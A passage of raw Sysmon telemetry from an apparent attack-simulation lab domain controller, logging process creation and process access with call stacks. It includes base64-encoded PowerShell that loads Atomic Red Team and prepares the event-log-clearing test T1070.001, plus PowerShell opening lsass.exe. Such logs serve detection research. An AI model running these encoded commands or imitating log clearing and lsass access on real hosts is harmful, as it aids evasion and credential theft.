0319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbf44eb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd7b50|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd7b50|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd7b50|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd79e1|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbc9966|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd5e99|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd5a35|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd57b5|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd5486|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9e686aeb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9db9601c 154100x80000000000000003997Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.359{A5F018FF-291D-5F80-CB00-000000007F01}4536C:\Windows\System32\HOSTNAME.EXE10.0.14393.0 (rs1_release.160715-1616)Hostname APPMicrosoft® Windows® Operating SystemMicrosoft Corporationhostname.exe"C:\Windows\system32\HOSTNAME.EXE"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291B-5F80-CF54-070000000000}0x754cf0HighMD5=1088BA1BF7CDDFF61ECC51BC0C02FDEF,SHA256=B8DA5A3AE4371E63DFD2F468E29CC23AA6F98A6A357A67955996F8F61E58FBA1,IMPHASH=D210D728CB9D45B4D1827BCE52F7EC6E{A5F018FF-291C-5F80-CA00-000000007F01}4832C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADcAMAAuADAAMAAxACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA 10341000x80000000000000003996Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.016{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-291C-5F80-CA00-000000007F01}4832C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003995Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.016{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-291C-5F80-CA00-000000007F01}4832C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004160Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.969{A5F018FF-291E-5F80-D000-000000007F01}4940916C:\Windows\system32\conhost.exe{A5F018FF-291E-5F80-D500-000000007F01}4224C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004159Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.969{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004158Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.969{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004157Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.969{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004156Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.969{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004155Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.969{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004154Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.969{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004153Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.969{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004152Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.969{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004151Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.969{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004150Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.969{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-291E-5F80-D500-000000007F01}4224C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004149Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.969{A5F018FF-291E-5F80-D300-000000007F01}44684744C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-291E-5F80-D500-000000007F01}4224C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+270222|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26fe9f|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f9ee|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f97a|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26e48b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c1edb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c19a9|UNKNOWN(00007FFAA908B68F) 154100x80000000000000004148Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.982{A5F018FF-291E-5F80-D500-000000007F01}4224C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe4.7.2053.0 built by: NET47REL1Visual C# Command Line CompilerMicrosoft® .NET FrameworkMicrosoft Corporationcsc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\4h2nbodw.cmdline"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291E-5F80-E5A3-070000000000}0x7a3e50HighMD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52{A5F018FF-291E-5F80-D300-000000007F01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 11241100x80000000000000004147Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.969{A5F018FF-291E-5F80-D300-000000007F01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\4h2nbodw.cmdline2020-10-09 09:10:54.969 11241100x80000000000000004146Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:54.969{A5F018FF-291E-5F80-D300-000000007F01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\4h2nbodw.dll2020-10-09 09:10:54.969 10341000x80000000000000004145Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.532{A5F018FF-291E-5F80-D000-000000007F01}4940916C:\Windows\system32\conhost.exe{A5F018FF-291E-5F80-D400-000000007F01}4384C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004144Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.532{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004143Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.532{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004142Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.532{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004141Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.532{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004140Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 